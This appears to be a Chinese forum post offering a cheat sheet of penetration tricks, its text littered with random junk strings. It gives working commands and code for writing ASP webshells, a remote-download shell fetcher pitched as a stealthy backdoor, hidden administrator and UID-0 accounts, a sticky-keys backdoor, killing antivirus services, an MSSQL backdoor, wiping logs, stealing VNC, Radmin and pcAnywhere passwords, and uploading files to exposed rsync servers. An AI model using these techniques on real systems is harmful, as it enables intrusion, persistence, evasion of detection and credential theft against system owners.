渗透技巧总结

admin

旁站路径问题
1、读网站配置。
  X" a$ u' j/ c' |2 e  D- e! p/ X2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
& N9 A1 Y; ~  }3 Q; R& ^- N. Z        
9 F! L, V- P- X+ e9 ]
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
$ Z. N1 a5 p% S7 L( i0 D* f
2 T, p2 @( C+ }Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
- G- Z5 i0 [; c, u0 AEnd If
Set ObjService=GetObject
2 |- x9 P2 `2 c; F
("IIS://LocalHost/W3SVC")
- m7 T  }7 B% vFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
5 k" T+ b/ Y4 F
* R; D2 D: e4 p: ?7 ^& L# ~Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
4 s/ G  G7 L3 i4 p, k8 w         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
5 D( O2 Q* }/ u. ~" B
( O) X3 n. t# ]' z<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

* B( C( V1 |  e2 E+ oOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
/ f& t7 i! o; m! z% t
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
! T, d/ g" C) h2 @( h" W; l- ?" }                        
  C3 G. }; c+ A: ^( o; L6 a
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
" l: e4 v5 {, y4 \, o, i5 A      

         WScript.Echo "ath            : " & VDirObj.Path
8 d6 U* S+ H  G) ]        End If
5 s# _% R7 `8 d4 l  S9 ~Next
& @! f! [- |& b2 j' T1 m复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
5 `6 T& k) r- F+ B/ }4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
& N2 @2 L8 p9 t; eurl/wp-content/plugins/akismet/akismet.php
. W9 \* \* i3 B0 H3 M8 furl/wp-content/plugins/akismet/hello.php
——————————————————————
! {7 O" A/ @+ q2 \1 wphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
' A6 X0 B, y1 G* C8 [phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
; @. ^5 R  |2 J$ L1 V3 [. ]————————————————————
/ [( d7 `; A8 Y2 U  V& I( n网站可能目录(注：一般是虚拟主机类）
; u/ |3 n9 V2 }0 ?data/htdocs.网站/网站/
————————————————————
3 _8 @6 \4 A4 p2 A* Q- T! f% \0 ECMD下操作VPN相关
' s  B# x: j2 c6 r* nnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
+ P$ p' c/ E+ Z4 A5 z  tnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
, ?( Y" u, f+ o/ c; I' REXEC sp_addsrvrolemember 'test, 'sysadmin'
7 \# L0 \2 z6 ^) e然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

/ p5 N0 R# C: Q6 G. w& J' e另类的加用户方法
1 J# }1 ?- |, I( U$ ^% Y在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
1 _) o' L+ E7 u0 F7 M, cvar o=new ActiveXObject( "Shell.Users" );
  A% x( R3 _( w+ ~& C5 b$ _z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

. N) u9 I& r. ?vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
2 a) |6 H! R6 {9 K' T5 [. jz.setting("AccountType")=3
——————————————————
) m. R% r2 n' Z5 P  P8 [1 Fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
: T" q$ p: u" `* [( t5 V
. T. z/ G+ u% A* n; L8 D% [命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
# A$ t: F6 S: I! B4 X3389相关
! r' E) e0 n  y4 a& k. }( x  Ja、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
" ?  Y+ c/ W# n8 f/ L3 A, `% U9 }b、内网环境（LCX）
c、终端服务器超出了最大允许连接
4 j" r9 _) M3 P6 Y5 `5 ?0 HXP 运行mstsc /admin
2003 运行mstsc /console   
1 B( ?+ ~0 u, \- e
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
( \* l! K7 u3 c! Q# Q/ e) h% C7 W) wnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
1 _! A; \% [5 B: h
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
( }7 k- Z! s% k+ ecopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
6 e% g$ U, t" M$ v* [5 i2、导出注册表SAM下用户的两个键值
* z3 p$ s9 }+ k& f3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
7 m7 x" Q4 R+ C  ]; C0 g8 U/ W——————————————————————
  w9 d' Q8 f5 y$ oMSSQL扩展后门：
0 J( y; R; K! z! m5 V9 JUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
% p% [: I. w1 r5 A% c+ e5 mGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
% d$ I. N' t# dC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
) K! W- ?& h# _0 F+ b" ^) U不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
* T: G8 j' W- i0 u0 j9 O用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
1 c# D5 Y/ g' e; J, O! s8 M8 G当停止msftpsvc服务后可直接删除ex011124.log

( |# |/ L  a: t  o4 iMSSQL查询分析器连接记录清除：
5 B0 o9 N% Z: o$ F3 I5 w+ Z( yMSSQL 2000位于注册表如下：
% i5 P9 b; g. }# M( T, D, HHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
3 ?7 ^' {2 |& @( p( l9 C% x找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
) I+ _; G3 P6 o" p—————————————————————————
& K, o: U$ ?" r9 d0 E防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
1 V; g, e/ L1 d; q" T2 @: ~
<%
# ~# F1 m0 a' C1 ^4 t2 W) B: qSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
1 Q5 T) q  \* Q; ^! r- j+ A$ Q+ FOn Error Resume Next
7 D) B* T! ]& n0 d; @; Z  HSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ Y0 G& \, p; f2 l5 k% l. ~With Retrieval
& C3 w  G5 h) G! x# v8 C.Open "Get", s_RemoteFileUrl, False, "", ""
) ~- p/ g$ S8 @, G6 K.Send
GetRemoteData = .ResponseBody
+ w1 d2 P& P) ~End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
1 z, O3 `2 s9 x) R.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
( f% \. `+ ]) w% P! q.Cancel()
.Close()
End With
$ o% ^$ V# w+ {+ ?" @Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
+ @8 H1 ^% Q; y. I, |%>
7 W5 g: S' b7 x1 e
VNC提权方法:
! q) w. [' m! ~5 r$ X% H利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
# C! D/ ]6 O1 L% z/ Y注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
6 \7 g& x; b, `' p1 Q) @$ hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
$ Y6 t9 v8 Z, z6 zRadmin 默认端口是4899，
9 x! W8 @1 w& d: |7 ?. kHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
! I. ^$ H: ?, D# ~+ u1 gHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
# v8 M; I5 \6 {- y  u1 e) E! R5 |1 G——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
8 i7 r7 u% ?0 W. B  P, H& o+ Y& f没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
6 B& Z! w) ]8 i
1433 SA点构建注入点。
" i, d$ K( S4 B+ Z" i& T, T5 {1 k( B<%
# r7 d- v; F) S3 y4 V9 U/ M9 bstrSQLServerName = "服务器ip"
1 [/ t, J( q- x2 N9 c' t8 \strSQLDBUserName = "数据库帐号"
: h0 G$ J1 |- [- fstrSQLDBPassword = "数据库密码"
( n! |& y% G3 XstrSQLDBName = "数据库名称"
; @9 y& a7 D2 h1 e  L2 Y, k3 ?Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
! U+ A& @9 Y2 U8 W( o) m& g/ i! \! i4 n
" h& n* U1 u2 g! A. F5 ~. ]* l+ O";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
- F$ M3 f( ?3 i
3 t( z) v4 v# o+ ^% q, IstrSQLDBName & ";"
6 e% s& T: d! v1 e6 t  |% Xconn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
3 w, q' M* {  rrs.close
%>
8 V" l6 e; Q; D3 N0 V9 O( |% Q9 L复制代码
! w, K1 C0 Q9 V" _+ ^+ h9 E******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

7 Y, a% X4 ^$ i8 |# W2.less /etc/ldap.conf
. }! o) @! T/ X2 u1 u3 Jbase ou=People,dc=unix-center,dc=net
: ^0 X9 s) t5 h/ F找到ou,dc,dc设置

' d1 J# C+ u' f$ ~8 N" O3.查找管理员信息
* h; B$ b/ ^8 W$ A# v" i3 G匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

5 T# W; P& c$ o" V8 D; V, i4 O' c"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 v# e1 R# _" V* A有密码形式
9 J4 a. @/ M) N& E. e7 p5 s8 g% vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 T# f% @2 s2 s# s8 o
2 o1 K$ `, T- u4 A8 L"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

' F5 I1 N% J$ @3 J5 v" I% ~( T7 |& K
1 `6 k5 v0 d& I9 p: f1 R/ s4.查找10条用户记录
, c6 `$ m  p# L4 Z. r( t8 Gldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 U0 h! V5 R3 p! J" _
实战:
+ l, y" B' J! m4 W7 Z1.cat /etc/nsswitch
0 n8 H$ n  ?! L, E; w看看密码登录策略我们可以看到使用了file ldap模式
  {* s& `1 O$ ?8 _! v
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
  B0 `; t, L& T+ C* F* ]3 j
8 I/ q; F# @. m3 V! Z. E3.查找管理员信息
$ g2 f: r9 D, R4 Q8 e# R0 Z匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( O" [% R/ L4 G1 X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
* n" h1 c- v; l5 Vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. \/ M! H" _  m. b% \
$ @8 U* ~; X" U& q- O' J"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


9 H- J, ]$ E5 _4 p: b4.查找10条用户记录
: T1 ^1 q; M- {ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
7 i( m: R, l/ K* v0 k& I* f" H
# n+ m* r' M# B( w, K7 N7 T5 A2 C渗透实战:
. r( |# @0 [' L- f1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
$ g% [* }  Q5 G* E! w0 {dc: ruc
# o0 S' H. l7 R: G7 uobjectClass: domain

& a+ S. S/ d8 c( m3 R" }7 ~dn: uid=manager,dc=ruc,dc=edu,dc=cn
/ Z5 r, P' _0 X6 B7 [uid: manager
9 d) l3 m! j- E$ @objectClass: inetOrgPerson
5 i7 e" n- H' VobjectClass: organizationalPerson
objectClass: person
objectClass: top
& I8 m0 f; F* x5 v$ Q4 W# ?- ssn: manager
% \7 i/ f3 I7 ?cn: manager

" G0 H( r) g3 q. Q: ddn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
' O$ Z( |5 n8 |! H  {( zobjectClass: organizationalPerson
! _* v- s# O0 L" SobjectClass: person
6 F: |) T5 \! XobjectClass: top
. u: D! \) s, M6 ssn: superadmin
: p4 q/ w, |, _: L1 Lcn: superadmin
4 h( x" M; c. o* S7 ]# ?$ h
+ `: n7 l/ u5 `3 u  c( Ydn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
$ }' m9 w0 ?! x: [1 ZobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
/ |3 S0 F9 ^5 T8 l" P( [cn: admin
! h9 c% d* _9 T  @# `
# O/ O$ w1 w% Y' l. a: e2 ndn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
/ C% D6 e5 Q4 }2 bobjectClass: inetOrgPerson
sn: dcp_anonymous
% n& l, B; n6 T* vcn: dcp_anonymous

* c3 N/ C( C* a2.查看基类
- `9 d7 r. N3 I! h- Cbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

& G$ @  ~- K+ \& Dmore
) R" f$ |" \" S8 ?' I1 E  C; E) bversion: 1
4 {$ A% a! @+ Y* _/ d# Wdn: dc=ruc,dc=edu,dc=cn
dc: ruc
  E* R* x) c0 N4 u5 fobjectClass: domain
$ z1 Z0 `& E% ]. H
3.查找
. w* R; T, m! l) g  y6 ~4 Ibash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
& E+ J5 }$ d; ^) |version: 1
; \& P) a8 l% U6 b* V0 |dn:
0 s' ^/ \* w5 i8 @; D/ D' kobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
& h: b9 z, E& b3 q8 [/ rsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
  x# Z& h. h$ `; s, v( C0 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
4 Q3 n1 f( o: |8 RsupportedExtension: 2.16.840.1.113730.3.5.3
+ g: |* I! x4 R, T3 S8 hsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
- ^' \$ T6 q: ~supportedExtension: 2.16.840.1.113730.3.5.4
1 \- r; W1 A( f* r7 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
. f- L& N7 N. z9 EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
# W8 `! e& @& f. EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
9 y1 A# N& Q/ K1 U4 i3 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
; ]! c' D9 K- c" s3 E. w7 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
% o2 S) Z) a+ nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
+ X. L% o) g$ r: f6 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
2 G! T, o5 n% w: z2 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
+ v4 l4 |! K" k6 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
9 {5 L* H; g. f! @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
# n4 ?5 n* i3 c' w" ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
" t: v, m5 R4 N. ]8 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
5 O& @% }" ]3 R( K. YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
: y5 E+ n! K2 }4 WsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
" `4 E2 T0 w- \7 QsupportedControl: 2.16.840.1.113730.3.4.2
2 o/ [1 S/ o0 ]5 B1 ssupportedControl: 2.16.840.1.113730.3.4.3
: l2 f6 Z) `6 gsupportedControl: 2.16.840.1.113730.3.4.4
5 r% ]" u) q; j! IsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
7 E/ m6 S; B  @supportedControl: 2.16.840.1.113730.3.4.17
" ^, }: V( L5 z* U' U/ nsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
( b& n. H( k1 dsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
( Q* H" v' G7 R/ w1 m/ NsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
$ w* C& }" I1 m" }5 ~4 ~8 H( isupportedControl: 2.16.840.1.113730.3.4.14
- J% c8 Y- k1 A2 q) V4 JsupportedControl: 1.3.6.1.4.1.1466.29539.12
4 {9 P  d6 d$ n# r0 Q7 w' Q' L2 y  GsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
: _) \% L& K7 ~6 E% P+ s% U' _supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
8 o& E. z' n- z6 ]+ AsupportedSASLMechanisms: DIGEST-MD5
+ B! @+ K' Z: S5 w, XsupportedLDAPVersion: 2
5 T2 H4 h, T5 ]supportedLDAPVersion: 3
7 E' E; ]2 }1 WvendorName: Sun Microsystems, Inc.
' P* I" J% D* E# h4 T" avendorVersion: Sun-Java(tm)-System-Directory/6.2
8 M5 }+ d7 H1 {8 X5 [1 ldataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
9 _* {( _4 A7 r8 h4 tsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
, @# M2 N8 d8 t/ N; Y  isupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
) b% o! a+ d0 x1 h* a# ?supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
% \& O2 Y, m8 y- AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
8 N4 S3 s7 C4 isupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
5 h6 C, y1 M" g+ |5 Z8 e  zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
* A: S9 Z* C) e. O1 ]5 x9 osupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
, P. @  n' ^% j' u7 m8 ^supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
! o& D3 B& G( F% b0 wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
! o0 ~0 N1 p4 D( z! r4 a# X8 xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
+ s% h! l$ X1 j  y& ?4 O, esupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
8 N. C1 U$ x( {; OsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
- G- J6 s  w% Z9 X1 GsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
+ y6 W8 e7 \6 O7 m2 E0 S+ C) zsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
( v) ]3 Z( d% M8 usupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
( f0 F4 K" \) u4 p& E$ fsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
& R$ r9 a) P; |$ R% _* n2 `supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
, j+ ]0 B: S+ v( ~supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
1 d1 N+ P# ^! Z" |+ e. i0 l! }/ qsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
  n: X* S, h8 v7 E4 {supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
5 t4 @) D" f! f) }0 I. OsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
6 z# s, H& m) o* Y3 x1 P. V! i3 o. JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
$ |; g, e( l+ N; A$ y7 MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
/ c8 t# F2 i. Q+ T* e7 X. ]) o& ~; `supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
% |! c: G- f; _7 R. P& m* FsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
. k1 G: X8 i7 o: t& G, s+ B! JsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" n% c0 o, T, psupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
4 P' ^8 S- d8 h5 eshowmount -e ip
- o7 }# e- |$ u' K& P列举IP
) I) x7 X) ]) _) n3 W——————
$ O- |. ^0 g7 a" ]3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
/ |2 w" f- }8 _( Z7 y' eimg_auto
' J5 `, D2 r( n1 bhtml_cms
7 E. B4 t& }' C7 h9 ~+ T. D6 zimg_cms
ent_cms
ent_img
ceshi
8 H, ^, a8 {% P% [, r$ _res_img
6 z* d/ c1 N8 S/ H4 H: Wres_img_c2
chip
, `3 f# k9 n) U- A* qchip_c2
ent_icms
7 U9 ?; b) v. \( T7 d' G, hgames
gamesimg
media
( |; q% x, A. r# K0 o1 lmediaimg
5 S. j$ ?2 s; Q# Ffashion
res-fashion
5 O( Q( R9 [" Y7 \/ N# B2 [* ~! pres-fo
taobao-home
; N( Q8 u: i3 ires-taobao-home
house
res-house
7 i2 k- ]3 _: d) K2 ~8 qres-home
  ]! u- ?  W/ `6 U0 Z2 Yres-edu
res-ent
res-labs
res-news
8 R1 s+ x% Y5 e2 ?0 x+ Ares-phtv
res-media
5 ]; Y4 E; ?5 q3 ~) K  H* {1 phome
edu
news
' e/ m' Y) {5 Gres-book

4 F# A( h7 F0 o) m1 {* ~* X2 w  z看相应的下级目录(注意一定要在目录后面添加上/)

" U- w4 d4 {% Z8 j2 Z( M& s9 k& f7 t
5 l: P9 v" C( |0 Zrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
! F, b' j$ E' t0 q+ brsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

$ r* g0 {$ S& M  y" y* W; p3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
4 w/ j  n! j1 L7 Jhttp://app.finance.xxx.com/warn/nothack.txt

# P/ f7 ]3 R* S0 ]- P5 b! b; a* M四.squid渗透技巧
7 W) j' Z" W0 t0 S( J/ Enc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
: V' E( i' D2 ?GET HTTP://WWW.sina.com:22 / HTTP/1.0
+ j; Y8 \- O8 H五.SSH端口转发
6 c5 Y$ B/ C5 q' a% u: ?+ Z/ jssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
1 |) A5 }2 ^  \1 U" U7 h, |* Q
  i' }& _. f8 _1 w+ Y$ u' U& v六.joomla渗透小技巧
& J6 o- [3 f0 Y8 {* x2 \9 U2 w确定版本
9 j5 p( A; i# o5 P8 k3 E3 Dindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
1 K: d* Q( o5 e8 G' l
15&catid=32:languages&Itemid=47

8 U' x) \1 z5 Q/ Q  H0 T重新设置密码
9 w9 V; q$ A  H8 ?5 m/ Bindex.php?option=com_user&view=reset&layout=confirm

; I6 o5 O' h- [+ I! h/ b% l/ e七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
